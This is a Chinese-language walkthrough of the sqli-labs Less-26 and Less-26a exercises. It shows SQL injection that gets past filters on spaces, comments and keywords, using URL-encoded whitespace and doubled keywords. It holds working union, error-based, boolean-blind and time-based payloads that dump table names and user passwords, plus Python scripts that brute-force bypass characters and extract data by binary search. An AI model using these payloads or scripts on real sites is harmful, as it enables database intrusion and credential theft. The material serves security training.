Less-26
GET-基于错误-您所有的空格和注释都属于我们
?id=%231 //确认过滤了#
?id=or1 //确认过滤了or
?id=/*1 //确认过滤了多行注释
?id=--1 //确认过滤了单行注释
?id=/1 //确认过滤了斜杠
?id=1' ' ' //确认过滤了空格,报错注入才行
?id=\ //确认过滤了反斜杠
or
与and
,还过滤了单行注释--
与#(含URL编码)
以及多行注释/**/
(被解释为空格,常用于过滤空格时),还过滤了(空格)
,以及正反斜杠/
与\
。%09 TAB(水平)
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB(垂直) (php-5.2.17,5,3,29成功)
%a0 空格 (php-5.2.17成功--由于Apache解析原因,可能会无法使用)
?id='%0d||%0d'1'='1
注意:在 Windows 下会有无法用特殊字符代替空格的问题,这是 Apache 解析的问题,Linux 下无这个问题。
python 2.7
import requests
def changeToHex(num):
tmp = hex(i).replace("0x", "")
if len(tmp)<2:
tmp = '0' + tmp
return "%" + tmp
req = requests.session()
for i in xrange(0,256):
i = changeToHex(i)
url = "http://localhost/sqli-labs/Less-26/?id=1'" + i + "%26%26" + i + "'1'='1"
ret = req.get(url)
if 'Dumb' in ret.content:
print "good,this can use:" + i
由python 2.x版转为3.x 需要注意的是:
1.运行某代码时,报错:
NameError:name ‘xrange’ is not defined
原因:
在Python 3中,range()与xrange()合并为range( )。
解决:
将xrange( )函数全部换为range( )。
2.报错:
if 'Dumb' in ret.content:
TypeError: a bytes-like object is required, not 'str'原因:
python3和Python2在套接字返回值解码上有区别
解决:
解决办法非常的简单,只需要用上python的bytes和str两种类型转换的函数encode()、decode()即可!
- str通过encode()方法可以编码为指定的bytes;
- 反过来,如果我们从网络或磁盘上读取了字节流,那么读到的数据就是bytes。要把bytes变为str,就需要用decode()方法
python 3.X
import requests
def changeToHex(num):
tmp = hex(i).replace("0x", "")
if len(tmp)<2:
tmp = '0' + tmp
return "%" + tmp
req = requests.session()
string = 'Dumb'
string = string.encode()
for i in range(0,256):
i = changeToHex(i)
url = "http://192.168.33.1/sqli/Less-26/?id=1'" + i + "%26%26" + i + "'1'='1"
ret = req.get(url)
if string in ret.content:
print("good,this can use:" + i)
%a0
,基本都是过滤了的字符:如%20(空格)
、%23(#)
、%2a(*)
、%2d(-)
、%2f(/)
、%5c(\)
,%09
-%0d
都是制表符、换行符、换页符。可以参考URL编码参考手册
- 一:因正确回显非固定字符串,可利用特殊 URL 编码代替空格,仍使用
union
加空格连接select
联合注入。- 二:因错误回显是 MySQL 错误信息,可利用报错注入即 Less 17 中提到的几种方法,首选是
updatexml()注入
与extractvalue()注入
,因其他方法仍不能避开空格的使用。- 三:基于 Bool 盲注,构造注入语句避开空格。
- 四:基于 延时盲注,构造注入语句避开空格。
暴库:(注:url编码%26是运算符&,下面的%26%26换成运算符||也是可以的,但不能直接用&&,会报错,原理还不清楚,但使用&的url编码%26就不会报错)
?id='%0bunion%0bselect%0b1,database(),3%26%26'7'='7
爆表:
id='union%0bselect%0b1,group_concat(table_name),3%0bfrom%0binfoorrmation_schema.tables%0bwhere%0btable_schema='security'%26%26%0b'7'='7
爆字段
id='union%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_schema='security'%0baandnd%0btable_name='users'%26%26%0b'7'='7
爆数据:
?id='union%0bselect%0b1,group_concat(username,0x7e,passwoorrd),3%0bfrom%0busers%0bwhere%0b'7'='7
在这之前要说一下这个问题,在前面的关卡中,输入id=-1是没有正确回显的,但在26中输入id=-1和id=1的结果相同,id=-2又与id=2的结果相同,一次类推,那么这说明源代码对id进行了处理,所以上面的操作我都是让 id=null 让他为false,当然id=0也是一样的,但并没有发现对id的数字进行处理的函数,所以这里记录一下,看一会能否解决这个问题。(有的博客说是浏览器过滤了&
)
这里用到的是updatexml()
函数,首先复习用法:
... or updatexml(1,concat('#',(select * from (select ...) a)),0) ...
选用这个函数是因为没有需要空格的地方,可以用小括号和运算符代替。
爆数据库:
?id='||updatexml(1,concat('$',(database())),0)||'1'='1
爆表:
?id='||updatexml(1,concat('$',(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),0)||'1'='1
爆字段:
?id='||updatexml(1,concat('$',(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security')%26%26(table_name='users'))),0)||'1'='1
爆数据:
?id='||updatexml(1,concat('$',(select(concat('$',id,'$',username,'$',passwoorrd))from(users)limit%0b0,1)),0)||'1'='1
注意:报错有字符限制也不能使用
group_concat()
,所以使用limit来控制偏移量。
可以参考Less-5:、
如果不使用limit
考虑将某个字段的所有字段全部连接成一个字符串依次得到字符,即使用group_concat()
。
因后台过滤or
和and
,且浏览器过滤&
,需使用%26
,下面是三个 payload 模板:
id=1'%26%26(ascii(mid((select(group_concat(schema_name))from(infoorrmation_schema.schemata)),1,1))>65)||'1'='
id=1'%26%26(ascii(mid((select(group_concat(schema_name))from(infoorrmation_schema.schemata)where(table_schema='database_name'%26%26table_name='table_name')),1,1))>65)||'1'='
id=1'%26%26(ascii(mid((select(group_concat(concat_ws('$',id,username,passwoorrd)))from(users)),1,1))>65)||'1'='
但是:
光是第一个猜解数据库,就够麻烦的了,这种方法就得用脚本。
如果参考Less-5的布尔盲注就会简单一点点:
猜数据库:
?id=1'%26%26left(database(),1)>'a'||'1'=' 正确回显
?id=1'%26%26left(database(),1)>'s'||'1'=' 无错误回显
?id=1'%26%26left(database(),1)='s'||'1'=' 正确回显
猜数据表:
id=1'%26%26(ascii(substr((select%0btable_name%0bfrom%0binfoorrmation_schema.tables%0bwhere%0btable_schema=database()%0blimit %0b0,1),1,1))>80)||'1'='
然后其他的自己尝试
参考Less-9
猜数据库长度:正确直接回显,错误等待5秒
?id=1'%26%26if(length(database())=8,1,sleep(5))||'1'='
猜数据表:
id=1'%26%26If(ascii(substr((select%0btable_name%0bfrom%0binfoorrmation_schema.tables%0bwhere%0btable_schema='security'%0blimit %0b0,1),1,1))=101,1,sleep(5))||'1'='
。。。
以此类推。
剩下的自行尝试。
据说如果过滤了,
便可使用:
mid(string,start,length)
=mid(string from start for length)
在提供一个脚本,自行尝试,我没用过:
import sys
import requests
def getPayload(char_index, ascii):
# 系统表中数据
info_database_name = "infoorrmation_schema"
info_table_name = "schemata" # schemata / tables / columns
info_column_name = "schema_name" # schema_name / table_name / column_name
# 注入表中数据
database_name = "security"
table_name = "users"
column_name = ["id","username","passwoorrd"]
# 附加url
start_str = "1'%26%26"
end_str = "||'1'='"
# 连接select
where_str = ""
#where_str = "where(table_schema='"+database_name+"'%26%26table_name='"+table_name+"')"
select_str = "select(group_concat("+info_column_name+"))from("+info_database_name+"."+info_table_name+")"+where_str
#select_str = "select(group_concat(concat_ws('$',"+column_name[0]+","+column_name[1]+","+column_name[2]+")))from("+table_name+")"
# 连接payload
sqli_str = "(ascii(mid(("+select_str+"),"+str(char_index)+",1))>"+str(ascii)+")"
payload = start_str + sqli_str + end_str
return payload
def execute(char_index, ascii):
# 连接url
url = "http://localhost:8088/sqlilabs/Less-26/?id="
exec_url = url + getPayload(char_index, ascii)
#print(exec_url)
# 检查回显
echo = "Your Login name"
content = requests.get(exec_url).text
if echo in content:
return True
else:
return False
def dichotomy(char_index, left, right):
while left < right:
# 二分法
ascii = int((left+right)/2)
if execute(str(char_index+1), str(ascii)):
left = ascii
else:
right = ascii
# 结束二分
if left == right-1:
if execute(str(char_index+1), str(ascii)):
ascii += 1
break
else:
break
return chr(ascii)
if __name__ == "__main__":
for len in range(1024): # 查询结果的长度
char = dichotomy(len, 30, 126)
if ord(char) == 31: # 单条查询结果已被遍历
break
sys.stdout.write(char)
sys.stdout.flush()
sys.stdout.write("\r\n")
sys.stdout.flush()
Less-26a
基于错误_GET_过滤空格/注释_单引号_小括号_字符型_盲注
在没有过滤时,第一件事是判断注入类型,是字符型还是数字型。
而有过滤时,判断注入类型后最重要的就是判断过滤条件。
我们知道有一个函数是intval()
,作用是获取变量的整数值。
但无错误回显时,我们如何区分是被过滤还是被转为整型呢
intval('#1') = 0
intval('1') = 1
只需要在1
前面加上#
,若被过滤则会正常显示,被转为整形则会为0
。
步骤1:注入类型
1
和1"
正常回显,1'
报错,判断为字符型,但是还要判断是否有小括号。(这个还是蛮重要的)
判断小括号有几种方法:
2'&&'1'='1 (浏览器过滤了&,所以测试时使用url编码%26 即2'%26%26'1'='1 )
where id='$id'
,查询时是where id='2'&&'1'='1'
,结果是where id='2'
,回显会是id=2
。where id=('$id')
,查询时是where id=('2'&&'1'='1')
,MySQL 将'2'
作为了 Bool 值,结果是where id=('1')
,回显会是id=1
。2.
1')||'1'=('1
若查询语句有小括号正确回显,若无小括号错误回显(无回显)。
后台重点源码:
这关与 26 的区别在于,sql 语句添加了一个括号,同时在 sql 语句执行抛出错误后并不在前台页面输出。所有我们排除报错注入,这里依旧是利用 union 注入,布尔盲注,延时注入。
判断字符类型:(带小括号的单引号字符型注入)
?id=1' 报错,可初步得出是单引号字符型注入
?id=1'||' 和?id=1'||1' 会让我们误判为就是单引号字符型注入,因为带入源码中id=('1'||'')和id=('1'||'1')返回的结果都会是id=1 所以可以使用下面的语句来快速判断是否带有一个小括号,或者用前面讲的判断是否有小括号的方法也是一样的。
?id=1')||(' (因为我们过滤了注释,使用这种可以很快的判断出是否是带一个括号的注入点)
暴库:
?id=')%0bunion%0bselect%0b1,database(),3%0b||('1')=('1
简写点:
?id=')%0bunion%0bselect%0b1,database(),3%0b||1=('1
爆表:
id=')%0bunion%0bselect%0b1,group_concat(table_name),3%0bfrom%0binfoorrmation_schema.tables%0bwhere%0btable_schema='security'%26%261=('1
爆字段:
id=')%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_schema='security'%0baandnd%0btable_name='users'%26%261=('1
爆数据:
?id=')%0bunion%0bselect%0b1,group_concat(passwoorrd,0x7e,username),3%0bfrom%0busers%0bwhere%0b1=('1